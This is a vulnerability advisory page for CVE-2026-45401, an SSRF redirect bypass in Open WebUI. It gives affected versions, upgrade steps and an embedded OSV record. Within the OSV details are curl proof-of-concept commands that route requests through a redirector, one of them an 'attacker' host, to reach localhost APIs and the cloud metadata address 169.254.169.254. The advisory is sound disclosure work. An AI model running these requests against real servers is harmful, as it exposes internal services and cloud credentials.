CVE-2026-45401: Open webui Open WebUI Has A SSRF Vulnerability
HIGHCVE-2026-45401 is a HIGH (CVSS 8.5) open webui has a ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Open webui libraries in the PyPI ecosystem. The issue involves open webui has a ssrf bypass via http redirect following in web-fetch and image-load endpoints (not addressed by cve-2025-65958). Remediation is available by upgrading affected packages to version 0.9.5.
CVE-2026-45401 at a Glance
Security Impact
CVSS: 8.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).
How to Fix CVE-2026-45401
To remediate this vulnerability, upgrade all affected Open webui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install open-webui>=0.9.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show open-webui
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-45401, inspect your installed packages using pip:
pip show open-webui
Analyze the terminal output to locate any version of Open webui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.5), your application is affected.
Note: The pip show open-webui command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Open webui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45401 Affected Open webui Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
open-webui
|
PyPI |
< 0.9.5
|
0.9.5
|
References
Frequently Asked Questions
What is CVE-2026-45401?
Which Open webui versions are affected?
What version fixes CVE-2026-45401?
Is open-webui affected?
What is the CVSS score of CVE-2026-45401?
What CWE is associated with CVE-2026-45401?
How can I check PyPI dependencies for CVE-2026-45401?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-rh5x-h6pp-cjj6",
"modified" : "2026-05-15T23:55:35Z",
"published" : "2026-05-14T20:27:14Z",
"aliases" : [ "CVE-2026-45401" ],
"summary" : "Open WebUI has a SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints (not addressed by CVE-2025-65958)",
"details" : "# Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints\n\n## Summary\n\nThe `validate_url()` function in `backend/open_webui/retrieval/web/utils.py` only validates the *initial* URL submitted by the caller. The HTTP clients used downstream (sync `requests`, async `aiohttp`, langchain's `WebBaseLoader`) follow HTTP 3xx redirects by default and do **not** re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. `127.0.0.1`, `169.254.169.254`, RFC1918) and read the internal response body via the `/api/v1/retrieval/process/web` endpoint, the `/api/v1/images/...` endpoints, the `/api/chat/completions` endpoint with an `image_url` content part, and any other route that calls these helpers.\n\n## Affected code paths\n\nThe bypass exists across multiple call sites; each independently follows redirects without re-validation.\n\n### Path 1 — sync `_scrape` via `SafeWebBaseLoader`\n\n`backend/open_webui/retrieval/web/utils.py` — `SafeWebBaseLoader` inherits from `langchain_community.document_loaders.WebBaseLoader`. The parent's `_scrape()` calls `self.session.get(url, **self.requests_kwargs)`. `requests_kwargs` only sets `timeout`; `allow_redirects=False` is **not** passed, so `requests.Session.get()` follows redirects with the default `allow_redirects=True`. `validate_url()` is invoked once on the original URL only.\n\n### Path 2 — async `_fetch` (aiohttp)\n\n`backend/open_webui/retrieval/web/utils.py` — `_fetch()` previously inherited the aiohttp default `allow_redirects=True`. As of HEAD this path is fixed (`allow_redirects=False`). Listed for completeness.\n\n### Path 3 — `get_content_from_url` (sync `requests.get`)\n\n`backend/open_webui/retrieval/utils.py` — `response = requests.get(url, stream=True, timeout=30)`. No `allow_redirects=False`. Reached via `/api/v1/retrieval/process/web` (file ingestion) and other routers that resolve external URLs.\n\n### Path 4 — `load_url_image` (image edit)\n\n`backend/open_webui/routers/images.py` — image-URL fetching helper used by the image-edit endpoint. Same pattern: `validate_url()` checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via `/api/v1/images/edit`.\n\n### Path 5 — `get_image_base64_from_url` (chat-completion image inlining)\n\n`backend/open_webui/utils/files.py` — `get_image_base64_from_url()` is invoked from `convert_url_images_to_base64()` in `backend/open_webui/utils/middleware.py` on every `/api/chat/completions` request whose message content includes an `image_url` part. The shared aiohttp session pool (`backend/open_webui/utils/session_pool.py`) does not override the aiohttp default `allow_redirects=True`, and the call site itself does not pass `allow_redirects=False`. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message.\n\n## Proof of concept\n\nAuthenticated low-privilege user; default config, no admin or special permissions required.\n\n```bash\ncurl -X POST https://<target>/api/v1/retrieval/process/web \\\n -H \"Authorization: Bearer <any_user_token>\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"url\": \"https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302\"}'\n```\n\nResponse body contains the internal `/api/config` payload in `file.data.content`. Replace the redirect target with `http://169.254.169.254/latest/meta-data/` for cloud metadata, or any internal hostname reachable from the server.\n\nFor the chat-completion path (Path 5), the same redirect is followed when an `image_url` content part points to an attacker-controlled redirector:\n\n```bash\ncurl -X POST https://<target>/api/chat/completions \\\n -H \"Authorization: Bearer <any_user_token>\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"model\":\"any\",\"messages\":[{\"role\":\"user\",\"content\":[{\"type\":\"text\",\"text\":\"x\"},{\"type\":\"image_url\",\"image_url\":{\"url\":\"http://attacker/redirect-to-imdsv1\"}}]}]}'\n```\n\n## Impact\n\nAny authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.\n\n## Recommended fix\n\nFor every call site that follows redirects, set `allow_redirects=False` on the underlying HTTP client and add a per-hop validation loop using `validate_url()` on each `Location:` header.\n\n## Credits\n\nPer the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.\n\n- **tenbbughunters** — first to identify SafeWebBaseLoader sync `_scrape` (Path 1)\n- **YLChen-007** — first to identify `load_url_image` (Path 4)\n- **tempcollab** — first to identify aiohttp `_fetch` (Path 2)\n- **sneaXOR** — first to identify `get_content_from_url` (Path 3)\n- **nayakchinmohan** — first to identify `get_image_base64_from_url` in chat-completion middleware (Path 5)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "open-webui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.9.5"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.9.4"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-rh5x-h6pp-cjj6"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45401"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-c6xv-rcvw-v685"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-webui/open-webui"
}, {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/releases/tag/v0.9.5"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-14T20:27:14Z",
"nvd_published_at" : "2026-05-15T21:16:38Z"
}
}